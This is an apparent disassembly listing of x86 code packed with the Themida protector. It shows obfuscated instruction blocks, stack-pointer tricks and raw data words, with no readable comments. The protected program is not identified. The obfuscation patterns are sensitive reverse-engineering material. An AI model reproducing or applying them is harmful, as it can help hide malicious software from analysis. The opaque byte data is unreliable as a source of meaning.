		dd 0FFFFC522h, 37E6EB81h, 0DD893356h, 1796685Bh, 0C890000h
		dd 7733B924h, 0E181718Ah, 62223831h, 8104E1C1h,	6F0AAEE1h
		dd 2E9C138h, 9C9EC181h,	0D1F71A97h, 85DBC181h, 0CB01224Ch
		dd 83240C8Bh, 0EB0104C4h, 28BCEB81h, 2C8B07ACh,	4C48324h
		dd 2C381h, 1C870000h, 3963E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E25F6:				; CODE XREF: Themida_:005DE86Dj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5E347D
; ---------------------------------------------------------------------------
		dd 0FA61C781h, 0F8293DC7h, 0D2E9525Fh, 5CFFFFBAh, 4EC81h
		dd 0C890000h, 4EC8324h,	56240489h, 2854F9BEh, 62CE815Fh
		dd 8147634Fh, 363D0EE6h, 45C68117h, 81053B0Dh, 0AF4109C6h
		dd 5EF089FFh, 0E9624B35h, 87E95718h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E264F:				; CODE XREF: Themida_:005E44BFj
		push	ebx
		push	edi
		push	7CE4464Bh
		jmp	loc_5E2309
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0C681C601h, 3ABF4FA2h, 0E9F08958h, 2D5Fh, 0B3B45066h
		dd 0F1E9E128h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E2677:				; CODE XREF: Themida_:005DFDE1j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5E4162
; ---------------------------------------------------------------------------
		db 81h
		dd 0B06F28E9h, 0D60AE97Bh, 0E901FFFFh, 2205E95Dh, 665C0000h
		dd 2404AB0Fh, 0B514E99Ch, 8358FFFFh, 0C8B04C4h,	4C48324h
		dd 4C181h, 0C1830000h, 240C8702h, 316AE95Ch, 74FF0000h
		dd 8F590424h, 59E92404h, 5FFFFD8h, 578A6EC6h, 50DFE9h
		dd 25A2B900h, 5FE97EA3h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E26E7:				; CODE XREF: Themida_:005E4590j
		sub	esi, 785072h
		jmp	loc_5E3EEC
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 6BE9241Ch
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E26FB:				; CODE XREF: Themida_:005E3095j
		xor	ebx, 0F635FB33h
		sub	edx, ebx
		pop	ebx
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	ebx, 0FFFFFFFFh
		jmp	loc_5E9005
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 47h
		dd 2174F025h, 0DBF758C3h, 2246E381h, 0F3811F2Eh, 53EF1403h
		dd 0E9FFC381h, 0DE01B31Eh, 83241C8Bh, 0F9E904C4h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E2743:				; CODE XREF: Themida_:005E8F5Aj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		jmp	loc_5E1591
; ---------------------------------------------------------------------------
		db 83h
		dd 46E904C4h, 5F000056h, 0C1FFEF83h, 0BE6805E7h, 0E9000037h
		dd 0FFFFD8F2h, 8B24048Fh, 8B662424h, 9C682404h,	0E9000001h
		dd 6D2Bh, 24343358h, 33243431h,	665C2434h, 2404BB0Fh, 0B41CE99Ch
		dd 0EC81FFFFh, 4, 0B0240489h, 81D0F6A6h, 4ECh, 241C8900h
		dd 0D3F680B3h, 1CB15166h, 69C380h, 6FC0E9CBh, 0E7810000h
		dd 41CF5125h, 0E906EFC1h, 2B3Fh, 159CF01h, 346BE9FBh, 0EB800000h
		dd 13B25233h, 285AD328h, 13C380E3h, 2EC81h, 89660000h
		dd 33B5240Ch, 8B66EB00h, 0C483240Ch, 254E902h, 0C1810000h
		dd 968E962h, 0E959CF89h, 7485h,	8959CE01h, 4E2D5EF5h, 1781423h
		dd 52BEE9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E282A:				; CODE XREF: Themida_:005E0C45j
		add	edx, 3B120259h
		add	edx, ebp
		sub	edx, 3B120259h
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5E5714
; ---------------------------------------------------------------------------
		dd 0CE2046BDh, 46C281D5h, 293EE004h, 46EA81EAh,	5D3EE004h
		dd 0C3E9D589h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E286B:				; CODE XREF: Themida_:005E3C4Ej
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5E17FA
		push	eax
		mov	eax, 54B76CE4h
		or	eax, 866070Bh
		not	eax
		sub	eax, 0A3089010h
		jmp	loc_5E440F
; ---------------------------------------------------------------------------


loc_5E288C:				; CODE XREF: Themida_:005E8C56j
		push	eax
		push	ebp
		mov	ebp, 0CD93086h
		and	ebp, 326911E1h
		and	ebp, 516C43C0h
		add	ebp, 46475BA4h
		sub	ebp, 1C479C9h
		add	ebp, 0BB351DA9h
		mov	eax, ebp
		pop	ebp
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_5E4D0C
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5E7BBB
; ---------------------------------------------------------------------------


loc_5E28D3:				; CODE XREF: Themida_:005E6751j
		push	edx
		jmp	loc_5DF7CB
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0DCh
		dd 0E93D0111h, 15FDh, 24048F5Fh, 3F9C685Ch, 1C890000h
		dd 6876824h, 34890000h,	241C8B24h, 0E904C483h, 0FFFFD0B1h
		dd 8CE9D2F6h, 8BFFFFDAh, 6BE9240Ch, 68FFFFD4h, 67AD61AAh
		dd 0BB5358h, 29000000h,	55B93C3h, 0D977DEE1h, 6BE9C689h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E292F:				; CODE XREF: Themida_:005E3914j
		mov	edx, esi
		pop	esi
		mov	eax, edx
		pop	edx
		mov	ebx, [esp]
		jmp	loc_5E5677
; ---------------------------------------------------------------------------
		db 5, 21h, 7Dh
		dd 2C8B198Fh, 4C48124h,	0E9000000h, 0FFFFBC89h,	5C24048Fh
		dd 68240C89h, 4693h, 0BE243489h, 4EC61D49h, 0FFBC09E9h
		dd 50E189FFh, 4B8h, 0BB535700h,	777E1508h, 29E2CB81h, 0CB8116AAh
		dd 402373F5h, 9307E3C1h, 14E9D0F7h, 0C1FFFFCBh,	0CF8104EFh
		dd 7DF00B4Fh, 9A44C781h, 0F821F49Dh, 2E6E2D5Fh,	0E9571354h
		dd 4628h
; ---------------------------------------------------------------------------


loc_5E29AC:				; CODE XREF: Themida_:005DE9A7j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		push	edi
		jmp	loc_5E38BF
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 3B231E45h, 45EF815Fh, 0E93B231Eh, 0FFFFCC19h, 52ABED81h
		dd 525A72BFh, 2BAh, 5AD50100h, 0E9242C87h, 5131h, 4C581h
		dd 89530000h, 4C381E3h,	81000000h, 4EBh, 241C8700h, 2414895Ch
		dd 306E9h, 241C3100h, 0E9241C33h, 0FFFFF54Fh, 24248B66h
		dd 2555E9h, 0B190E900h,	34FFFFFFh, 1822E924h, 0F7B50000h
		dd 0FFECC4E9h, 515EB9FFh, 90E92FB7h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E2A47:				; CODE XREF: Themida_:005E3AD1j
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		push	esi
		push	esp
		pop	esi
		jmp	loc_5E9E4F
; ---------------------------------------------------------------------------
		dw 0F58h
		dd 8F66C0B6h, 53E98704h, 87FFFFB1h, 0A8B850DFh,	29609B7Bh
		dd 26E958C7h, 0BAFFFFD9h, 4, 7EC3EE81h,	0D601156Eh, 7EC3C681h
		dd 875A156Eh, 248B2434h, 5E545624h, 2F26E9h, 0AFE94E00h
		dd 5900003Eh, 83243C8Bh, 0F3E904C4h, 0FF000060h, 48B2434h
		dd 5AC4E924h, 1C8B0000h, 0E6895624h, 1D59E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E2AC5:				; CODE XREF: Themida_:005E6863j
		push	bx
		mov	bh, 92h
		jmp	loc_5E9900
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835824h, 29E95504h, 8FFFFFBAh, 248B2404h,	240C8924h
		dd 3BCDE9h, 0E9515A00h,	0FFFFEBB0h, 25AE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E2AF6:				; CODE XREF: Themida_:005E5243j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5E8E00
; ---------------------------------------------------------------------------


loc_5E2B08:				; CODE XREF: Themida_:005E8477j
		pop	esp
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_5E17FA
; ---------------------------------------------------------------------------
		dd 98B05066h, 5866C330h, 49E95BB1h, 5DFFFFFBh, 0E58C781h
		dd 68FD25C9h, 51DDh, 68241489h,	1FB656A4h, 5A2434FFh, 815E5456h
		dd 4C6h, 5F25E900h, 1CF70000h, 6BE99C24h, 1FFFFB0h, 96E958C7h
		dd 51FFFFC1h, 732925B9h, 3E9C127h, 5301C183h, 0FFCFF2E9h
		dd 0E9E589FFh, 0FFFFD92Dh
; ---------------------------------------------------------------------------


loc_5E2B74:				; CODE XREF: Themida_:005E6F43j
		add	ebp, 4
		jmp	loc_5E78E6
; ---------------------------------------------------------------------------
		db 1
		dd 0E4E95DEFh
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E2B87:				; CODE XREF: Themida_:005E474Dj
		push	4
		jmp	loc_5E697C
; ---------------------------------------------------------------------------


loc_5E2B91:				; CODE XREF: Themida_:005E3482j
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5E4D0C
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5E3266
; ---------------------------------------------------------------------------
		db 58h
		dd 5086C380h, 0FFE9EFE9h, 243C89FFh, 582434FFh,	4C481h
		dd 34FF0000h, 243C8B24h, 8304C483h, 0DFE904C4h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E2BDF:				; CODE XREF: Themida_:005E49A8j
		pop	edi
		or	edx, eax
		jmp	loc_5E22D5
; ---------------------------------------------------------------------------
		db 88h
		dd 0E9505BF8h, 5E53h
; ---------------------------------------------------------------------------


loc_5E2BF0:				; CODE XREF: Themida_:005E65D1j
		dec	dl
		xor	dl, 33h
		push	ebx
		mov	bl, dl
		mov	ah, bl
		pop	ebx
		pop	edx
		add	bl, ah
		pop	eax
		add	bl, 2Bh
		sub	bl, al
		sub	bl, 2Bh
		jmp	loc_5E5197
; ---------------------------------------------------------------------------


loc_5E2C0C:				; CODE XREF: Themida_:005DDF35j
		pop	edx
		mov	edx, esi
		pop	esi
		and	ecx, edx
		jmp	loc_5E3BB6
; ---------------------------------------------------------------------------
		db 0BAh
		dd 34167BE3h, 5BF1EB81h, 0D3297A12h, 5BF1C381h,	815A7A12h
		dd 0FC3E1AEBh, 0E9C3291Ah, 0FFFFB8E1h
; ---------------------------------------------------------------------------


loc_5E2C38:				; CODE XREF: Themida_:005E4E4Bj
		mov	ebp, 56C21478h
		shr	ebp, 1
		jmp	loc_5E5F21
; ---------------------------------------------------------------------------


loc_5E2C44:				; CODE XREF: Themida_:005E2591j
		pop	edx
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		jmp	loc_5DF6CC
; ---------------------------------------------------------------------------
		dd 4C481h, 0F1010000h, 8324348Bh, 555704C4h, 3123BE56h
		dd 51BD505Ch, 31287B18h, 0CCBF5EF5h, 29AADA43h,	5F4CE9EFh
		dd 0EC830000h, 242C8904h, 0C5815D54h, 4, 8704C583h, 54E9242Ch
		dd 0E9FFFFCDh, 0FFFFAF1Ah
; ---------------------------------------------------------------------------


loc_5E2CA4:				; CODE XREF: Themida_:005E971Dj
		pop	ebx
		push	ebp
		mov	ebp, 62CD163Fh
		sub	[esp+8], ebp
		jmp	loc_5E2427
; ---------------------------------------------------------------------------
		dd 58C2295Dh, 148BD101h, 0C479E924h, 74FFFFFFh,	8F5A0424h
		dd 248B2404h, 4216624h,	7EE99C24h, 100006Ch, 16EE81C6h
		dd 81382B17h, 0B02D6AC6h, 0A2C6816Dh, 0E946717Fh, 0FFFFC522h
		dd 83242C8Bh, 0EC8304C4h, 243C8904h, 217068h, 24248900h
		dd 4240483h, 4C7815Fh, 81000000h, 4C7h,	6EE95700h, 0BAFFFFBEh
		dd 2, 0FBE9D501h, 8F000069h, 4812404h, 424h, 0C3815B00h
		dd 4, 8904EC83h, 4BD242Ch, 81000000h, 216A7DC3h, 0E9EB0115h
		dd 0FFFFDFEAh, 66655E68h, 2774E94Fh, 0C7810000h, 4, 4C781h
		dd 3C330000h, 243C3124h, 5C243C33h, 0CA08E992h,	0C388FFFFh
		dd 3B82E9h, 2E3C100h, 68h, 241C2900h, 8FCB815Bh, 810B541Ah
		dd 0A08545C3h, 0E879E900h, 2CD3FFFFh, 1BE99C24h, 59FFFFAEh
		dd 68BEE981h, 0F181C921h, 7A523A5Dh, 42E98149h,	814F9770h
		dd 0C164C8C2h, 5724E932h, 5A5E0000h, 89CA8952h,	0B647E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E2DCE:				; CODE XREF: Themida_:005E4F4Ej
		mov	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 494E3E69h
		dec	ebp
		or	ebp, 46C505ABh
		shr	ebp, 6
		and	ebp, 46B82EE5h
		add	ebp, 2A3F489h
		jmp	loc_5E4765
; ---------------------------------------------------------------------------
		dw 0BFB9h
		dd 0BE04445Ch, 2621131Bh, 0FFC2B7E9h, 22CF81FFh, 0F77B1F29h
		dd 66EF81DFh, 150AA14h,	0EC815FFBh, 4, 0BA241489h, 65563E9Ah
		dd 0FFC405E9h, 62E957FFh, 81000001h, 8FC191F3h,	245C29C8h
		dd 241C8B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5E2F38
; ---------------------------------------------------------------------------
		dd 14E9CB00h, 66000011h, 2414F652h, 0C2FE5A66h,	8008EAC0h
		dd 0D1883BF2h, 8E9C05Ah, 53CEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5E2E61:				; CODE XREF: Themida_:005E3E70j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5E450D
; ---------------------------------------------------------------------------
		db 83h
		dd 33E904C4h, 31FFFFE2h, 0BE58E9D8h, 6855FFFFh,	24h, 57242C8Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 9AE95C24h,	5700005Eh
		dd 44A9BB53h, 0ADBF5F8Ch, 295F8C44h, 7C015BDFh,	0E95F0424h
		dd 1103h, 4C4835Bh, 81E28952h, 4C2h, 4EA8100h, 68000000h
		dd 5958h, 0FF241489h, 0E9042474h, 30B9h, 7393B951h, 0CE29BC7Eh
		dd 5095E9h, 0EB4BA00h, 0EC815E79h, 4, 0BB241C89h, 649E160Dh
		dd 815BDA31h, 0E72AB1E2h, 8AF28160h, 89EB87C3h,	51A4E9D3h
		dd 0ED810000h, 7D6A763Ch, 65F5ED81h, 0D5017990h, 65F5C581h
		dd 0C5817990h, 7D6A763Ch, 242C875Ah, 0E9F1F75Ch, 3AA7h
; ---------------------------------------------------------------------------


loc_5E2F38:				; CODE XREF: Themida_:005E2E3Bj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5DDBBE
; ---------------------------------------------------------------------------
		db 81h,	0E5h, 85h
		dd 53370F11h, 10685257h, 0E933290Bh, 608h, 8704ED83h, 895C242Ch
		dd 9FE9240Ch, 5C000032h, 68243489h, 5926h, 0E9242489h
		dd 35E3h, 0B205B050h, 58C23046h, 33E4E9h, 34815000h, 9C5BA424h
		dd 2434FF6Eh, 0E789575Fh, 4C781h, 0C7810000h, 4, 2327E9h
		dd 58ED8100h, 81622F3Dh, 0ACDB5EEDh, 0B970E918h, 4BDFFFFh
		dd 50000000h, 9F49F7B8h, 58C6015Ch, 0BA52EE01h,	5C9F49F7h
		dd 5D5AD629h, 0FFECF0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E2FDD:				; CODE XREF: Themida_:005E1D15j
		push	esi
		mov	esi, 758E6BADh
		inc	esi
		dec	esi
		add	esi, 6F5D492h
		sub	eax, esi
		pop	esi
		push	ebp
		mov	ebp, 477C395Fh
		jmp	loc_5DFAFE
; ---------------------------------------------------------------------------


loc_5E2FF9:				; CODE XREF: Themida_:005E7FB9j
		add	ebp, edx
		pop	edx
		jmp	loc_5E87EB
; ---------------------------------------------------------------------------


loc_5E3001:				; CODE XREF: Themida_:005E8925j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5E44FA
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 84h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E301F:				; CODE XREF: Themida_:005E9B4Fj
		sub	edx, 4F2F0207h
		push	edx
		mov	ecx, [esp]
		jmp	loc_5E3647
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 6B11h, 8B241C33h, 0E9E92424h, 5500000Dh, 77256856h
		dd 815E6CF6h, 0FE490BC6h, 51DEF760h, 8C4E23B9h,	1C1835Ah
		dd 81D1F741h, 1E9h, 0ACDCE900h,	0F581FFFFh, 6C811E68h
		dd 0E95DEA01h, 0FFFFE667h, 9D1C77FFh, 11665866h, 0E99C2404h
		dd 0FFFFAB3Ah
; ---------------------------------------------------------------------------


loc_5E3084:				; CODE XREF: Themida_:005E0527j
		mov	ebx, 4226E3Dh
		not	ebx
		dec	ebx
		and	ebx, 64364E3Bh
		inc	ebx
		neg	ebx
		jmp	loc_5E26FB
; ---------------------------------------------------------------------------


loc_5E309A:				; CODE XREF: Themida_:005E94EFj
		inc	ecx
		jmp	loc_5E12AB
; ---------------------------------------------------------------------------


loc_5E30A0:				; CODE XREF: Themida_:005E84E1j
		push	375Fh
		mov	[esp], esi
		mov	esi, 0C6528BAh
		add	esi, 5F363B64h
		jmp	loc_5E6677
; ---------------------------------------------------------------------------
		dd 128CB951h, 0E91096h,	89FFFFD6h, 4C281E2h, 0E9000000h
		dd 6D43h
; ---------------------------------------------------------------------------


loc_5E30D0:				; CODE XREF: Themida_:005E1D01j
		push	eax
		jmp	loc_5E36B2
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 234A4017h, 0F75EF721h, 0E267E9DFh, 5756FFFFh, 5EF3895Eh
		dd 57243C8Bh, 6C76E9h
		db 0
; ---------------------------------------------------------------------------


loc_5E30F5:				; CODE XREF: Themida_:005E5218j
		shr	eax, 2
		shl	eax, 7
		jmp	loc_5E795F
; ---------------------------------------------------------------------------


loc_5E3100:				; CODE XREF: Themida_:005E4C92j
		pop	ecx
		inc	edx
		push	ebp
		mov	ebp, 5F96685Dh
		sub	edx, 776B3C61h
		add	edx, ebp
		add	edx, 776B3C61h
		jmp	loc_5E6760
; ---------------------------------------------------------------------------
		db 5
		dd 0DC83965h, 3D23B02Dh, 5F80135h, 353D23B0h, 0C839652Dh
		dd 0A4BB530Dh, 81189239h, 91520F3h, 5BD8293Eh, 34FF088Bh
		dd 24048B24h, 0F1C6E950h, 0EFB8FFFFh, 2D7B3E36h, 7B3E36EBh
		dd 0E958C601h, 0FFFFF053h
; ---------------------------------------------------------------------------


loc_5E3160:				; CODE XREF: Themida_:005DE8B4j
		sub	eax, 2CA41F0Fh
		push	ebp
		mov	ebp, 2336A3Dh
		add	ebp, 2CD69F30h
		sub	eax, 638E47DBh
		sub	eax, ebp
		add	eax, 638E47DBh
		pop	ebp
		sub	eax, ecx
		add	eax, 2F0A096Dh
		add	eax, 2CA41F0Fh
		jmp	loc_5E252C
; ---------------------------------------------------------------------------
		db 0B9h
		dd 2EEF028Dh, 0D4EC981h, 0C18136E4h, 0F02B0A26h, 2959C829h
		dd 0BB5358C7h, 1D8E267Dh, 7A08E381h, 0F3817DA1h, 3A840683h
		dd 38F8EF81h, 0E9E93E8Eh
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E31C3:				; CODE XREF: Themida_:005E58EDj
		or	eax, eax
		jz	loc_5E35C9
		push	dword ptr [edi+28h]
		push	ecx
		jmp	loc_5E96FA
; ---------------------------------------------------------------------------
		dd 8A243428h, 0EC812434h, 4, 89241C89h,	4C381E3h, 0E9000000h
		dd 313Bh, 0E924048Fh, 0FFFFB255h, 8B241433h, 4202424h
		dd 0B7E99C24h, 53FFFFA9h, 492CF8BBh, 3F8DB965h,	0D9299955h
		dd 8BCB295Bh, 0C483240Ch, 5BDA0104h, 0FFFA7AE9h, 48B66FFh
		dd 54276824h, 14890000h, 48C6824h, 34680000h, 0E9000033h
		dd 1D4Dh, 2A17BF57h, 0F8014AFAh, 5D8F75Fh, 0D7073581h
		dd 0FFEDA6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E3255:				; CODE XREF: Themida_:005E6152j
		pop	eax
		xchg	esi, [esp]
		jmp	loc_5E1300
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0EEC5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E3266:				; CODE XREF: Themida_:005E2BB2j
		pop	eax
		push	eax
		jmp	loc_5E94CE
; ---------------------------------------------------------------------------
aRbASSy		db 'R,$)>y',9,0
		align 2
		dw 8B66h
		dd 0DB68240Ch, 0E900002Eh, 25E3h, 43648805h, 3A5A2D68h
		dd 3CE92D23h, 87FFFFF4h, 895C242Ch, 0E6892434h,	4910E9h
		dd 2CE9AC00h, 0BB00005Ah, 4, 4DC7E9h, 2474FF00h, 48F5904h
		dd 89535C24h, 76B850E3h, 0C1142A35h, 0BA5202E0h, 456A2777h
		dd 0DFE9D001h, 6800000Bh, 44E7h, 50241C89h, 6824FA68h
		dd 67E95835h, 83FFFFEFh, 348704C4h, 24248B24h, 24040966h
		dd 0A8C0E99Ch, 2C89FFFFh, 2D68E924h, 0DEF60000h, 0FEBDCE80h
		dd 259F68CEh, 1C890000h, 80F5B724h, 4FE9C0EEh, 5C00004Ah
		dd 0E9242C89h, 0FFFFCC72h, 0F468D2F6h, 8900006Eh, 44B3241Ch
		dd 0EB80E3D0h, 5E3C04Fh, 54B25266h, 9EE9D308h, 50FFFFBEh
		dd 409DE9h, 4C18100h, 83000000h, 71E904C1h, 56000030h
		dd 8904EC83h, 70E9243Ch, 8100004Fh, 4C3h, 1223E900h, 0C4830000h
		dd 4EC8104h, 0E9000000h, 0A61h,	835DE801h, 348904ECh, 3FC1BE24h
		dd 6CE950D2h, 0F7000020h, 81EED1D6h, 9B1604F6h,	5EF5311Fh
		dd 65D2ED81h, 0C1814152h, 40C9589Dh, 478E9h, 9DE78100h
		dd 0E96DA37Fh, 0FFFFD5F9h, 5F2434FFh, 8304C483h, 0E8E904ECh
		dd 81FFFFD1h, 4C2h, 176CE900h, 75BF0000h, 0E96E141Eh, 5A12h
		dd 405h, 0AF9EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E33EA:				; CODE XREF: Themida_:005E0C8Fj
		xor	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_5E514C
; ---------------------------------------------------------------------------


loc_5E33F4:				; CODE XREF: Themida_:005DF3ECj
		add	esp, 4
		add	ebp, 1
		shr	ebp, 8
		xor	ebp, 7DDF23h
		and	eax, ebp
		jmp	loc_5E6F3D
; ---------------------------------------------------------------------------
		align 2
		dw 0E9EAh
		dd 0FFFFC94Ah
; ---------------------------------------------------------------------------


loc_5E3414:				; CODE XREF: Themida_:005E1C5Dj
		add	esp, 4
		push	esi
		jmp	loc_5E4E48
; ---------------------------------------------------------------------------
		db 49h,	0D1h, 0E9h
		dd 0DFFE981h, 0D9F71B5Bh, 6994E9h, 246C8100h, 38533804h
		dd 0B265E94Dh, 3C8BFFFFh, 4C48324h, 4C181h, 0C870000h
		dd 24248B24h, 8104C483h, 4ECh, 241C8900h, 0F44373BBh, 245C296Bh
		dd 80E95B04h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E3467:				; CODE XREF: Themida_:005DECA1j
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_5E4A82
; ---------------------------------------------------------------------------


loc_5E347D:				; CODE XREF: Themida_:005E25FFj
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_5E2B91
; ---------------------------------------------------------------------------


loc_5E3487:				; CODE XREF: Themida_:005E6FA1j
		add	ebx, 9E54C89h
		jmp	loc_5DFB9B
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 1A6D6B26h, 0CF57E981h, 0CF89FE36h, 0BDBE5659h, 0F76D1E65h
		dd 81D6F7DEh, 431AA2C6h, 6EEC12Eh, 0E953D6F7h, 0FFFFCD76h
		dd 0E968F180h, 0C6Eh
; ---------------------------------------------------------------------------


loc_5E34C4:				; CODE XREF: Themida_:005DE3F2j
		pop	edi
		push	218Ah
		mov	[esp], edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4D4A7E6Ch
		add	edi, 0B2B58198h
		sub	ebx, edi
		mov	edi, [esp]
		jmp	loc_5DE257
; ---------------------------------------------------------------------------
		dw 9B2h
		dd 0CFE9C2FEh, 89FFFFE9h, 0E789243Ch, 4C781h, 0EDE90000h
		dd 3100004Ah, 0A6A4E9C2h, 0BB53FFFFh, 520A4698h, 565BD801h
		dd 0F3E9E950h, 0DD01FFFFh, 74FF555Bh, 8F5D0424h, 665C2404h
		dd 68240C8Bh, 206Bh, 89241C89h,	0B95157E3h, 657B0A85h
		dd 61D4F181h, 0A8E96647h, 83000069h, 0A535FFE8h, 2145400Fh
		dd 0E95058C1h, 4C36h, 0F5F2815Ah, 0E97CC40Bh, 0FFFFAD11h
		dd 0C102E6C1h, 0F68105EEh, 59947141h, 261EC681h, 0C681417Ch
		dd 97120028h, 595EF701h, 4C781h, 3C330000h, 243C3124h
		dd 8B243C33h, 0EBE92424h, 53FFFFB5h, 0FFBEB9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E35AD:				; CODE XREF: Themida_:005DF8A1j
		push	73F37CA9h
		pop	ebx
		dec	ebx
		inc	ebx
		jmp	loc_5E6BD2
; ---------------------------------------------------------------------------


loc_5E35BA:				; CODE XREF: Themida_:005E902Fj
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]


loc_5E35C9:				; CODE XREF: Themida_:005E0636j
					; Themida_:005E31C5j
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		jmp	loc_5DFC65
; ---------------------------------------------------------------------------
		dd 4C481h, 77E90000h, 0FF00005Bh, 0C8B2434h, 4C48324h
		dd 64AC68h, 243C8900h, 29F3E9h,	90E28100h, 0C17DC503h
		dd 0EA8104E2h, 0D4001FFEh, 3CFEB951h, 0E9815DC8h, 65981BB7h
		dd 3CF2F181h, 27E93357h, 83FFFFE8h, 0C68304C4h,	74FF5602h
		dd 0E95E0424h, 0FFFFB91Bh, 68243C89h, 7ADD6BACh, 0F355E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E363A:				; CODE XREF: Themida_:005E2025j
		push	158B6ACCh
		pop	eax
		neg	eax
		jmp	loc_5E3F88
; ---------------------------------------------------------------------------


loc_5E3647:				; CODE XREF: Themida_:005E3029j
		add	esp, 4
		mov	edx, [esp]
		push	edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 60002A34h
		or	esi, 145A4028h
		jmp	loc_5E6C47
; ---------------------------------------------------------------------------
		dd 0BAh, 0DE27E900h, 0DA89FFFFh, 6BB8505Bh, 0E94C2A7Eh
		dd 0FFFFC64Ch, 5BC68h, 240C8900h, 0F3304AB9h, 51D9F738h
		dd 0F7241487h, 241487D2h, 0FFE028E9h, 4875DFFh,	39E0E924h
		dd 0C890000h, 9046824h,	24890000h, 39FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E36B2:				; CODE XREF: Themida_:005E30D1j
		sub	dword ptr [esp], 6D7C558Eh
		pop	ebx
		add	ebx, 6D7C558Eh
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0B5AA912Dh
		jmp	loc_5E8CCC
; ---------------------------------------------------------------------------
		dd 89240C89h, 4C181E1h,	56000000h, 0C681E689h, 4, 4EE81h
		dd 34870000h, 0E3D0E924h, 0A7BBFFFFh, 0E906DD06h, 1965h
		dd 0FF241C89h, 0BE92434h, 81000015h, 4C4h, 0CFE68100h
		dd 8132597Ah, 0EFDF7BC6h, 38EFE9D1h, 0C2810000h, 5D54E00h
		dd 0FFA491E9h, 0E28952FFh, 4C281h, 0BF570000h, 4, 0CDE9FA01h
